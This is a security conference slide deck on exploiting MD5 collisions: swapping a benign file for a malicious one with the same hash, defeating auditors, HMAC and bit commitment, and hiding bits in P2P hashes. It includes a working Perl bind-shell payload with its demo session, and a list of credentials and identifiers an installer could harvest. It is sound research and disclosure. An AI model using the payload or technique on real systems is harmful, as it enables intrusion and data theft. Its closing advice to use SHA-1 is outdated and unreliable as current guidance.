MD5 To Be Considered Harmful (Someday)

Dan Kaminsky

Basics

- MD5: Hashing algorithm
  - "Fingerprint" of data – easy to synthesize (push here), hard to fake (grow this)
  - Known since 1997 it was theoretically not so hard to create two different sets of data with the same hash
  - Recently: Not so theoretical
    - All they released: The two sets of data ("vectors")

Limitations

- Poor understanding of how to actually exploit the MD5 collision
  - Collision mechanism unreleased
  - Collisions only creatable between two specially designed sets of data – not a general purpose attack
    - **Same output as the birthday attack. So, if birthday dropped MD5 security to 2^64 (which we've said for years), Wang dropped MD5 security to 2^24-2^32. Ouch.**
  - Summary: A fundamental constraint of the system has been violated…but what this means is unclear

The Question

- Is it possible, with nothing but the two vectors with matching MD5 hashes, to find an applied security risk?
  - Answer: Yes.
  - Caveats: This is early. This is rudimentary. This is not the BIC Pen to the tubular lock of MD5. But it's interesting.

The Thesis

- **MD5 presents functionally weaker security constraints than the cryptographically secure hash primitive offers in general, and SHA-1 in particular.**
- 1. MD5 hashes can no longer imply the behavior of executable data
  - If md5(exe1) == md5(exe2), behavior(exe1) ?= behavior(exe2)
  - “Stripwire”, C(CC|NN)
- 2. MD5 hashes can no longer imply the information equivalence of datasets
  - If md5(data1) == md5(data2), information(data1) ?= information(data2)
  - P2P attacks

How MD5 Works

- MD5 is a block-based algorithm
  - Start with a 128 bit system state (arbitrary)
  - Stir in 512 bits of data
  - Repeat until no more data
  - End up with 128 bits, all stirred up
- Security is provided by the difficulty of figuring out how to precisely stir the initial state

A Curious Trait of Block Based Hashes

- If two files have the same hash, then two files appended with the same data also have the same hash
  - if md5(x) == md5(y)
    then md5(x+q) == md5(y+q)
    - Assuming length(x) mod 64 == 0
  - The information of the two files' difference was lost in the stirring
  - This is **a well known trait** among those who work with block-based algorithms

Definitions

- vec1, vec2
  - Our two files (“vectors”) with the exact same hash
- Payload
  - A set of commands to do “stuff”.
- Encrypted Payload
  - Payload encrypted using the SHA-1 hash of vec1 as a key

In Fire and Ice

- Two Files: Fire and Ice
  - Fire = vec1 and Encrypted Payload
  - Ice = vec2 and Encrypted Payload
- Fire contains sufficient context to be decrypted and executed
  - Key=sha1(vec1), which decrypts the payload
- Ice doesn’t contain vec1, so there’s insufficient context to decrypt the payload
  - The payload is frozen.

The Other Shoe Drops

- Fire and Ice have the same MD5 hash.
- md5(x+q) == md5(y+q)
  - x = vec1
  - y = vec2
  - q = encrypted payload
- Fire executes an arbitrary series of commands
- Ice resists reverse engineering with the strength of the encryption algorithm (AES)

Demo[0]: The Vectors

- $vec1 = h2b(“
  d1 31 dd 02 c5 e6 ee c4 69 3d 9a 06 98 af f9 5c
  2f ca b5 **87** 12 46 7e ab 40 04 58 3e b8 fb 7f 89
  55 ad 34 06 09 f4 b3 02 83 e4 88 83 25 **71** 41 5a
  08 51 25 e8 f7 cd c9 9f d9 1d bd **f2** 80 37 3c 5b
  d8 82 3e 31 56 34 8f 5b ae 6d ac d4 36 c9 19 c6
  dd 53 e2 **b4** 87 da 03 fd 02 39 63 06 d2 48 cd a0
  e9 9f 33 42 0f 57 7e e8 ce 54 b6 70 80 **a8** 0d 1e
  c6 98 21 bc b6 a8 83 93 96 f9 65 **2b** 6f f7 2a 70”);
- $vec2 = h2b(“
  d1 31 dd 02 c5 e6 ee c4 69 3d 9a 06 98 af f9 5c
  2f ca b5 **07** 12 46 7e ab 40 04 58 3e b8 fb 7f 89
  55 ad 34 06 09 f4 b3 02 83 e4 88 83 25 **f1** 41 5a
  08 51 25 e8 f7 cd c9 9f d9 1d bd **72** 80 37 3c 5b
  d8 82 3e 31 56 34 8f 5b ae 6d ac d4 36 c9 19 c6
  dd 53 e2 **34** 87 da 03 fd 02 39 63 06 d2 48 cd a0
  e9 9f 33 42 0f 57 7e e8 ce 54 b6 70 80 **28** 0d 1e
  c6 98 21 bc b6 a8 83 93 96 f9 65 **ab** 6f f7 2a 70”);

Demo[1]: Equivalence

- ```
  $ md5sum.exe vec1 vec2; sha1sum.exe vec1 vec2
  79054025255fb1a26e4bc422aef54eb4 *vec1
  79054025255fb1a26e4bc422aef54eb4 *vec2
  a34473cf767c6108a5751a20971f1fdfba97690a *vec1
  4283dd2d70af1ad3c2d5fdc917330bf502035658 *vec2
  ```
  ```

Demo[2]: Still The Same

- ```
  $ dd if=/dev/urandom bs=1024 count=1024 >
  arbitrary_data
  1024+0 records in
  1024+0 records out
  ```
- ```
  $ cat vec1 arbitrary_data > v1_arb
  $ cat vec2 arbitrary_data > v2_arb
  ```
- ```
  $ md5sum.exe v1_arb v2_arb; sha1sum.exe v1_arb v2_arb
  e9b26b1b200e1c848196b264d4589174 *v1_arb
  e9b26b1b200e1c848196b264d4589174 *v2_arb
  7a7961d6f31dada14f1f20290754c49860c22da4 *v1_arb
  466dff783f129c668419cbaa180a5c67b8ace03d *v2_arb
  ```
- **But they still differ at the start.**
  ```

Demo[3]: Our Payload

- $ cat backlash.pl

```
#!/usr/bin/perl
# Backlash:  Open a pseudoshell on port 50023
#   Author:  Samy Kamkar, www.lucidx.com

use IO;
while(1){
   while($c=new IO::Socket::INET(LocalPort,
50023,Reuse,1,Listen)->accept){
            $~->fdopen($c,w);
            STDIN->fdopen($c,r);
            system$_ while<>;
   }
}
```

Demo[4]: Packaging The Payload

- ```
  $ ./stripwire.pl -v -b backlash.pl
  fire.bin: md5  = 4df01ec3a18df7d7d6cdf8e16e98cd99
  ice.bin:  md5  = 4df01ec3a18df7d7d6cdf8e16e98cd99
  fire.bin: sha1 =
  a7f6ebb805ac595e4553f84cb9ec40865cc11e08
  ice.bin:  sha1 =
  85f602de91440cd877c7393f2a58b5f0d72cbc35
  ```
  ```

Demo[5]: Altered Behavior, Same Hash

```
$ ./stripwire.pl -v -r ice.bin
Unable to decrypt file: ice.bin
$ ./stripwire.pl -v -r fire.bin &
$ telnet 127.0.0.1 50023
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
cat /etc/ssh_host_dsa_key_demo
-----BEGIN DSA PRIVATE KEY-----
MIH5AgEAAkEAlcTshGgpYY0eQgRBJRyQCrBDgXhFWFTbxazsgbrKie
bh1aal4ET6vPYZ7/OlPbrKxwMnX5mcEHywmEhOcK00pwIVAJyQ0Zlk
pRPr2eJWz/ECgr1XgUvPAkBWeUy6MJHApO5sF+T0V7vs319fGvw0j8
dthueQ2pAZHJl063SC2n9JkaMZRHEnJ7c0
4xMEHnFdmIvxTNFCavKZAkEAieVtNTFNNV7SIf0m4z60mJ1Hz3zj50
R7ih1SSxPon+IxzKsoAEP9JkyjS67+HBQGpowxNuukOFaqDwl1gclG
fwIVAJuPpSn6yj2ez5m7aTzZ7-----END DSA PRIVATE KEY-----
```

Is Tripwire Dead?

- Short Answer: No.
  - "The Externality Argument": Executable behavior is not entirely specified by file data
    - Hardware Characteristics (CPU, Temp)
    - File Metadata (Name, Date)
    - Network Metadata (DNS searchlist, IP)
    - Memory-Only Exploits
    - Random Number Generator
    - Network Activity (ET Phone Home)
  - "The Infallible Auditor Argument": Ice must be trusted before Fire may be swapped in
    - "But why are you trusting ice?"

Does Tripwire Have A Problem?

- Short Answer: Yes
  - The "Externality Argument"
    - "Why not just have the application download new code to run?"
    - Yes. Commands can be gotten from outside the MD5-hashed dataset. No hashing algorithm can verify the integrity of data it's not hashing. But MD5 is failing to verify the integrity of data it is hashing.
  - The "Infallible Auditor Argument"
    - "Who would trust ice?"
    - That another defense will, *hopefully*, prevent the MD5 failure from being exploited does not mean the MD5 failure has not brought us closer to exploitability
      - Black box testing will never detect that Ice can become Fire – and there is another failure mode…

On The Power Of Auditors[0]

- Halting Problem limits ability of auditors
  - Obfuscatory capabilities are great – couple bit difference allows for the envelopment of payload in AES shell
    - Encrypted data and compressed data have near-identical entropy profiles – embedded compressed content common
    - Can also embed a JPEG containing steganographically encoded instructions
  - **If** I can "trick" an auditor into trusting something that will never actually do any damage, no matter what the inputs or outputs happen to be, **then** I can later swap that perfectly harmless executable for one with arbitrary behavior
    - **This is new.**

On The Power Of Auditors[1]

- Diffie-Helman Prime Conflation
  - Significant because there's *nothing* for an auditor to detect, but the failure critically defeats a cryptographic subsystem
    - Discovered by John Kelsey, verified by Ben Laurie
  - DH requires prime moduli
  - Vec1 || 000000000000000000000000000001B is prime
  - Vec2 || 000000000000000000000000000001B is not prime
  - Send Vec1 set to auditor – *impossible to detect that vec2 can be swapped in to destroy the cryptosystem*

Applied Failure Scenarios

- Auditor Bypass
  - Developers send one payload to testers, another to factory
  - Developers can be seen as auditors too – infect the build tools, only what gets shipped gets infected. Developers can't use MD5 hash to verify equivalence between sent and shipped.
- Distributed Package Management
  - MD5 hashes are centrally distributed, along with mirror lists. Files acquired from mirrors are tested against MD5 hash. If match, install.
  - Mirrors can send Ice to central package manager and Fire to whoever they like

Bit Commitment Also Falls

- Bit Commitment (Slashdotter)
  - Alice sends Bob MD5 hash of data, “committing” her to some dataset
  - Bob makes bets based on what he guesses Alice has
  - Intended Behavior: Bob registers bets, Alice sends data, Bob verifies hash, Alice pays off bets
  - New Behavior: Bob registers bets, Alice selects dataset where she wins, Bob verifies hash, Alice doesn’t pay

The (Still Secret) Actual Attack

- Everything we've done has been with just the test vectors
  - Append only, single bit of information
- Actual attack is much more powerful
  - Adjusts to any state of the MD5 machine
    - Can now both append and prepend w/o changing final hash
    - Fire.exe and Ice.exe – no execution harness required
  - Can create any number of swappable collisions – actually relatively fast to do so (Joux's insight)
    - **"Doppelganger" blocks – they may exist anywhere within a file, and may be swapped out for one another without altering the ultimate MD5 hash**

HMAC: Not Completely Invulnerable

- HMAC algorithm:
  - Inner = MD5(Key XOR 0x36 + Data)
  - Outer = MD5(Key XOR 0x5c + Inner)
  - HMAC-MD5 = Outer
- Been said this is totally immune. It's not.
  - Actual attack adapts to any initial state. Inner creates a new initial state that Data is integrated into. If attacker knows Key, can create colliding data
  - Would be impossible if Data was double-hashed in both Inner and Outer loop – would have to adapt Data to two different initial states

HMAC: Arguably Invulnerable Enough

- MAC Primitive is allowed to collapse when key is known.
  - Most other MACs do
  - **This completely obviates most applied risks**
- Still worth noting…
  - We've never been able to create an HMAC-MD5 collision before, key or not.
  - HMAC-MD5 has degraded in a way HMAC-SHA1 has not.
  - Microsoft X-BOX signs HMAC-SHA1. There are thus deployed products that desire both collision resistance and MAC properties.
    - Digital signatures completely vulnerable

Bits and Pieces

- Vec1 vs. Vec2 = A Single Bit Of Information
- Suppose we can calculate multicollisions
  - 2 collisions = 1 bit (2^1), 4 collisions = 2 bits (2^2), 256 collisions = 8 bits (2^8)
  - **Note it gets more and more expensive to add bits this way**
- Remember we aren't tied to the default initial state of MD5
  - We can chain sets of doppelgangers together
  - Data capacity is summed across every set
  - 16 blocks, each adapting to emitted state of the last, each with 256 possibilities, yields 128 bits

MD5 Steganography

- Data can be embedded within a supposedly "constant" file that actually changes, with MD5 unable to see those changes
  - CRC-32 and TCP/IP checksums vulnerable to this too
  - But MD5 promises computational infeasibility – "**this is the exact same data you hashed back then**"
    - It doesn't have to be.
    - Defense against malicious intent part of the MD5 mandate

P2P Yeah You Know Me

- MP3
  - MP3 players skip over “garbage blocks”
    - vec1/vec2 or our doppelganger set
  - P2P tools commonly distribute MP3’s; use hashes to organize this distribution
    - Searching – Hashes coalesce identical content
    - Verifying – Hashes guarantee what was searched for is what was downloaded
    - **Note: I’m not taking sides. I’m demonstrating broken applications.**
  - Possible to prepend each MP3 with a 128 bit multi-doppelganger set, without breaking search or violating integrity
    - Allows tracing 3rd generation downloads to 2nd uploads

Execute Able

- Limit of MP3 tracing: Can only get back what you put in
  - MP3 decoders not Turing complete (sans major exploit)
  - Software installers are, though
- Installer Strikeback: Installer self-modifies w/ fingerprint of host it's being installed on
  - Instead of trying to trick the attacker into "phoning home" (say with DNS), piggyback on their inevitable generosity to share n most valuable bits
  - Can also work multi-generation – i.e. mutate as distributed along a P2P network, and the net won't notice / complain

Personal Identifiers

- Stuff to get
  - Network data -- IP address, DNS name, default name server, MAC address
  - Browser Cookies, Caches, and Password Stores -- Online Banking, Hotmail, Amazon 1-Click
  - Cached Instant Messenger Credentials -- Yahoo, AOL IM, MSN, Trillian
  - P2P Memberships -- KaZaA, Gnutella2
  - Corporate Identifiers -- VPN Client Data / Logs
  - Shipped Material -- CPU ID, Vendor ID, Windows Activation Key
  - System Configurations -- Time Zone, Telephone API area code
  - Wireless Data -- MAC addresses of local access points
  - Existence Tests -- Special files in download directory

The Caveat

- None of this works w/o the actual attack
  - Can’t make new doppelganger blocks
  - Can’t chain from anything but default MD5 initial state
  - ☹
- Are we lost?
  - No – thank you KaZaA

Packing the kzhash

- Kzhash – custom hashing mode using MD5
  - Based on Merkle's Tiger Trees
  - Not the standard "magnet"/TTH links
  - First half = MD5(first 300K of file)
  - Second half = All proceeding 32K chunks
- Two benefits
  - Able to distribute hashing load across time to download, even with out of order data acquisition
  - Able to efficiently calculate integrity-verifying sums for partial datasets

Smoking the kzhash

- Restarting the hash every 32K ==
  Hash begins from initial state every 32K ==
  Hash begins from vec1/vec2 state every 32K ==
  We can embed one bit every 32K
- Specifics
  - Vec1 and Vec2 are 128 bytes apiece (0.09% efficiency, **wow**)
  - 32768-128=32640 bytes of payload
    - Only 0.4% data expansion
- MP3: Average size == 4.5MB => 4.2MB of 32K chunks => 134 bits of KaZaA-stego per MP3 *today*
- Apps: Average size == 60MB => 1920 bits
  - Added space offset by need for redundancy – larger the file, more hosts may serve 32K chunks

Kzhash Demo

- ```
  #setup
  dd if=/dev/urandom of=foo bs=32640 \
  count=1
  cat vec1 foo > 1
  cat vec2 foo > 0
  ```
- ```
  $ cat 1 1 0 1 1 0 1 0 | perl kzhash.pl
  76b5764721b8911cf227066e11837142
  $ cat 0 0 0 0 1 1 1 1 | perl kzhash.pl
  76b5764721b8911cf227066e11837142
  ```
- Works *today*.

Conclusion

- We’ve known MD5 was weak for a very long time
  - 1997 was the first brick to fall
  - More will come
- USE SHA-1! ☺